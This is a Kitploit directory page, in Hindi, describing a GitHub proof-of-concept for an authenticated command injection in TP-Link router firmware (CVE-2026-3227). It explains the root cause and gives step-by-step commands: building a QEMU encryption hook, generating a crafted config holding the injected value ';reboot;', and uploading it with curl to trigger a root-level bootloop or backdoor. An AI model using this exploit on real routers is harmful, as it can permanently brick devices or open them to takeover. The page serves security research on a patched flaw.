Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2026-3227-TP-Link-authenticated-RCE — प्रमाण-अवधारणा (Proof-of-concept) TP-Link राउटर फर्मवेयर में प्रमाणित OS कमांड इंजेक्शन के लिए। इसमें डिक्रिप्शन, QEMU-आधारित एन्क्रिप्शन हुक, और स्थायी बूटलूप या बैकडोर तैनाती के लिए 15-वर्ण पेलोड जनरेशन शामिल है। | Kitploit
उपकरण/GitHubGitHub/do4choo/cve-2026-3227-tp-link-authenticated-rce
IoT सुरक्षाभेद्यता विश्लेषणशोषणरिवर्स इंजीनियरिंगवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंगलर्निंग और शिक्षाफर्मवेयर विश्लेषणबाइनरी शोषण

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें
GitHubdo4choo/cve-2026-3227-tp-link-authenticated-rce

CVE-2026-3227-TP-Link-authenticated-RCE

प्रमाण-अवधारणा (Proof-of-concept) TP-Link राउटर फर्मवेयर में प्रमाणित OS कमांड इंजेक्शन के लिए। इसमें डिक्रिप्शन, QEMU-आधारित एन्क्रिप्शन हुक, और स्थायी बूटलूप या बैकडोर तैनाती के लिए 15-वर्ण पेलोड जनरेशन शामिल है।

रिपॉजिटरी देखें
4212522 महीने पहलेKitploit द्वारा समीक्षित

CVE-2026-3227: TP-लिंक राउटर OS कमांड इंजेक्शन

CVE Status Hardware Language

अधिक जानकारी के लिए देखें https://www.cve.org/CVERecord?id=CVE-2026-3227

एक स्थायी, प्रमाणित OS कमांड इंजेक्शन भेद्यता TP-लिंक राउटर फर्मवेयर में जो डिवाइस को ब्रिक करने या संभावित LAN अधिग्रहण की ओर ले जाती है।

अस्वीकरण: इस रिपॉजिटरी में एक पैच की गई भेद्यता के लिए प्रूफ-ऑफ-कॉन्सेप्ट (PoC) कोड है। यह शैक्षिक उद्देश्यों और सुरक्षा शोधकर्ताओं के लिए है।

कार्यकारी सारांश

कई TP-लिंक राउटर्स (TL-WR802N, TL-WR841N, और TL-WR840N सहित) के कॉन्फ़िगरेशन बैकअप/पुनर्स्थापना तंत्र में एक कमांड-इंजेक्शन भेद्यता मौजूद है। प्रशासनिक पहुँच वाला एक हमलावर राउटर का कॉन्फ़िगरेशन डाउनलोड कर सकता है, उसे डिक्रिप्ट कर सकता है, विशिष्ट XML फ़ील्ड में एक दुर्भावनापूर्ण OS कमांड (15 वर्णों तक) इंजेक्ट कर सकता है, पुनः एन्क्रिप्ट कर सकता है, और वापस डिवाइस पर अपलोड कर सकता है।

जब राउटर कॉन्फ़िगरेशन लागू करता है (उदाहरण के लिए, पोर्ट ट्रिगर ईवेंट के दौरान या स्टार्टअप पर), तो इंजेक्ट किया गया पेलोड रूट के रूप में निष्पादित होता है। इसका उपयोग एक स्थायी बूटलूप (फ़ैक्टरी रीसेट से बचकर डिवाइस को स्थायी रूप से ब्रिक करना) या संभावित रूप से LAN पिवोटिंग के लिए एक स्थायी बैकडोर सक्षम करने के लिए किया जा सकता है।


खोज यात्रा (मैंने इसे कैसे पाया)

राउटर के कॉन्फ़िगरेशन बैकअप फीचर की खोज करते समय, मैंने httpd बाइनरी और libcmm.so लाइब्रेरी को रिवर्स-इंजीनियर करने का फैसला किया ताकि यह समझा जा सके कि कॉन्फ़िगरेशन फ़ाइलों को कैसे एन्क्रिप्ट और पार्स किया जाता है।

  1. डिक्रिप्शन: मैंने सफलतापूर्वक एक पायथन स्क्रिप्ट लिखी जो राउटर के कॉन्फिग ब्लॉब को डिक्रिप्ट कर सकती है, जिससे मैं अंतर्निहित XML कॉन्फ़िगरेशन को पढ़ सकता हूँ।
  2. सिंक ढूँढना: XML पैरामीटर का विश्लेषण करते समय, मुझे इंजेक्शन एंडपॉइंट मिले जो बिना सैनिटाइज़ेशन के सीधे सिस्टम निष्पादन फ़ंक्शन में पास किए गए थे।
  3. एन्क्रिप्शन चुनौती: एन्क्रिप्शन एल्गोरिथम को पुन: प्रस्तुत करना कठिन था। कोड को रिवर्स करने और पायथन और C में एल्गोरिथम को फिर से लागू करने के प्रयासों के बावजूद, मैं एक एन्क्रिप्टेड फ़ाइल नहीं बना सका जिसे राउटर स्वीकार करेगा।
  4. वर्कअराउंड (QEMU हुकिंग): पहिया को फिर से बनाने के बजाय, मैंने एक आक्रामक इंजीनियरिंग दृष्टिकोण अपनाया। मैंने qemu-user का उपयोग करके राउटर की आर्किटेक्चर का अनुकरण किया और रनटाइम पर राउटर के मूल httpd बाइनरी (create_config.c) को हुक किया। इसने मुझे अपने पायथन PoC से सीधे राउटर के मूल एन्क्रिप्शन फ़ंक्शन को आह्वान करने की अनुमति दी, जिससे मूल एन्क्रिप्शन प्रारूप का पूरी तरह से अनुकरण हुआ।

तकनीकी गहराई / मूल कारण विश्लेषण

भेद्यता इस बात में निहित है कि उत्पाद एन्क्रिप्टेड कॉन्फिग ब्लॉब को कैसे पार्स करता है और रनटाइम पर इसे लागू करता है। पोर्ट-ट्रिगरिंग कॉन्फ़िगरेशन पथ में, कार्यान्वयन उचित सैनिटाइज़ेशन के बिना उपयोगकर्ता-नियंत्रित फ़ील्ड का उपयोग करके शेल कमांड बनाता है।

विशेष रूप से, फ़ंक्शन oal_pt_addPortTrigger कॉल करता है:

root@kitploit:~
util_execSystem("oal_pt_addPortTrigger",
  "iptables -A FORWARD_PT -i br+ -p %s -j TRIGGER --trigger-type out --trigger-proto %s --trigger-match %d-%d --trigger-relate %d-%d",
  &local_48, &local_44, *(undefined4 *)(param_2+4), *(undefined4 *)(param_2+4), *psVar3, psVar3[1]);

%s प्रारूप स्ट्रिंग एक इंटरफ़ेस स्ट्रिंग (X_TP_IfName) से भरी जाती है जो सीधे अपलोड किए गए XML कॉन्फ़िगरेशन से पार्स की जाती है।

निष्पादन प्रवाह:

  1. अपलोड: http_cgi_gdpr_main -> rdp_setObj -> rsl_setObj -> oal_pt_addPortTrigger
  2. पार्सिंग: oal_pt_addPortTrigger पोर्ट सूचियों को पार्स करने के लिए forward_parsePtOpenPort कॉल करता है।
  3. निष्पादन: सिस्टम iptables कमांड स्ट्रिंग बनाता है और इसे util_execSystem (जो system() को लपेटता है) के माध्यम से निष्पादित करता है।

डिक्रिप्टेड XML में निम्नलिखित शामिल करने के लिए संशोधन करके:

root@kitploit:~
<X_TP_IfName val=";reboot;"/>

कमांड इंटरफ़ेस इनिशियलाइज़ेशन के दौरान स्टार्टअप पर या जब पोर्ट-ट्रिगर ईवेंट होता है, निष्पादित किया जाता है। क्योंकि पेलोड 15 वर्णों तक सीमित है, शोषण तैयार करने के लिए कॉम्पैक्ट कमांड निष्पादन तकनीकों की आवश्यकता होती है।

प्रूफ ऑफ कॉन्सेप्ट (PoC)

कॉपीराइटेड TP-लिंक बाइनरी वितरित करने से बचने के लिए, इस PoC के लिए आपको एक कस्टम QEMU हुक के माध्यम से मूल एन्क्रिप्शन लाइब्रेरी का उपयोग करने के लिए स्वयं राउटर की फ़ाइल सिस्टम निकालने की आवश्यकता है।

पूर्वापेक्षाएँ

  • qemu-mipsel और एक क्रॉस-कंपाइलर (gcc-mipsel-linux-gnu)
  • पायथन 3 और निर्भरताएँ (pip install pycryptodome)
  • binwalk -Me <firmware.bin> का उपयोग करके फर्मवेयर निकाला गया

चरण 1: वातावरण तैयार करें

  1. लक्ष्य फर्मवेयर निकालें और squashfs-root निर्देशिका को इस प्रोजेक्ट के 'python_utils/' में कॉपी करें।
  2. QEMU हुक संकलित करें:
    root@kitploit:~
    mipsel-linux-gnu-gcc -shared -fPIC -g -O0 c_hook/create_config.c -o python_utils/create_config.so
    

चरण 2: दुर्भावनापूर्ण कॉन्फ़िगरेशन उत्पन्न करें

  1. अपने राउटर में लॉग इन करें और बैकअप कॉन्फ़िगरेशन (config.bin) डाउनलोड करें।
  2. पेलोड जनरेटर चलाएँ:
    root@kitploit:~
    python3 generate_payload.py -i config.bin -o exploit.bin -p ";reboot;"
    
    नोट: पेलोड 15 वर्णों से अधिक नहीं होना चाहिए।

चरण 3: curl के माध्यम से कॉन्फ़िग अपलोड करें (मेरे राउटर पर अपडेट सुविधा सिर्फ एक गिमिक थी और वास्तव में कुछ नहीं करती थी)।

root@kitploit:~
curl -X POST "http://192.168.0.1/cgi/confup" \
  -H "User-Agent: Mozilla/5.0" \
  -H "Referer: http://192.168.0.1/mainFrame.htm" \
  -H "Origin: http://192.168.0.1" \
  -H "Cookie: JSESSIONID=<JSESSIONID_COOKIE>" \
  -F "[email protected];type=application/octet-stream"

चरण 4: शोषण को ट्रिगर करें

  1. एक बार राउटर पुनरारंभ होता है और सेटिंग्स लागू करता है, फ़ॉरवर्डिंग -> पोर्ट ट्रिगरिंग पर नेविगेट करें।
  2. एक नया पोर्ट ट्रिगर जोड़ें (उदाहरण के लिए, ड्रॉपडाउन से "Battle.net" चुनें) और सहेजें।
  3. इंजेक्ट किया गया OS कमांड root के रूप में निष्पादित होगा। यदि आपने ;reboot; का उपयोग किया है, तो राउटर तुरंत पुनरारंभ होगा और एक स्थायी बूटलूप में प्रवेश करेगा।
टूल डाउनलोड करें